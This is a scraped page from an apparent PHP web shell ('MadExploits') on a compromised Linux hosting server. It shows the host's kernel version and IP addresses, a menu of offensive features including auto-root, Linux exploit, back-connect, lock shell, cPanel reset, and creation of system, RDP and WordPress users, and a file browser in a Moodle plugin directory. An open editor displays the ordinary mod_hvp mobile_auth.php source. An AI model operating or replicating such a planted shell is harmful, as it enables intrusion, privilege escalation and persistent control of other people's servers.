Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.175
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
hvp /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
event
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
task
[ DIR ]
drwxr-xr-x
admin_setting_html.php
2.3
KB
-rw-r--r--
content_hub_service.php
2.13
KB
-rw-r--r--
content_type_cache_form.php
1.97
KB
-rw-r--r--
content_user_data.php
7.7
KB
-rw-r--r--
curl.php
1.69
KB
-rw-r--r--
editor_ajax.php
5.88
KB
-rw-r--r--
editor_framework.php
12.53
KB
-rw-r--r--
event.php
2.8
KB
-rw-r--r--
file_storage.php
27.81
KB
-rw-r--r--
framework.php
73.1
KB
-rw-r--r--
mobile_auth.php
3.59
KB
-rw-r--r--
results.php
11.88
KB
-rw-r--r--
upload_libraries_form.php
4.64
KB
-rw-r--r--
user_grades.php
7.42
KB
-rw-r--r--
view_assets.php
12.21
KB
-rw-r--r--
xapi_result.php
4.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mobile_auth.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Helpers for authenticating mobile users through tokens * * @package mod_hvp * @copyright 2019 Joubel AS * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace mod_hvp; defined('MOODLE_INTERNAL') || die(); class mobile_auth { const VALID_TIME = 60; /** * Generate embed auth token * * @param string $secret Secret phrase added to the hash * @param int $validfor Time factor that determines how long the token is valid * * @return array Login token and secret * @throws \Exception */ public static function create_embed_auth_token($secret = null, $validfor = null) { if (!$validfor) { $validfor = self::get_time_factor(); } if (empty($secret)) { if (function_exists('random_bytes')) { $secret = base64_encode(random_bytes(15)); } else if (function_exists('openssl_random_pseudo_bytes')) { $secret = base64_encode(openssl_random_pseudo_bytes(15)); } else { $secret = uniqid('', true); } } return [ hash('md5', 'embed_auth' . $validfor . $secret), $secret ]; } /** * Validate embed auth token * * @param string $token * @param string $secret * * @return bool True if valid token was supplied * @throws \Exception */ public static function validate_embed_auth_token($token, $secret) { $timefactor = self::get_time_factor(); // Splitting into two halves and allowing both allows for fractions roundup in the time factor. list($generatedtoken) = self::create_embed_auth_token($secret, $timefactor); list($generatedtoken2) = self::create_embed_auth_token($secret, $timefactor - 1); return $token === $generatedtoken || $token === $generatedtoken2; } /** * Check if provided user_id and token are valid for authenticating the user * * @param string $userid * @param string $token * * @return bool True if token and user_id is valid * @throws \dml_exception */ public static function has_valid_token($userid, $secret) { global $DB; if (!$userid || !$secret) { return false; } $auth = $DB->get_record('hvp_auth', array( 'user_id' => $userid, )); if (!$auth) { return false; } $isvalid = self::validate_embed_auth_token($auth->secret, $secret); // Cleanup user's token when used. if ($isvalid) { $DB->delete_records('hvp_auth', array( 'user_id' => $userid )); } return $isvalid; } /** * Get time factor for how long the token is valid * * @return float */ public static function get_time_factor() { return ceil(time() / self::VALID_TIME); } }
Close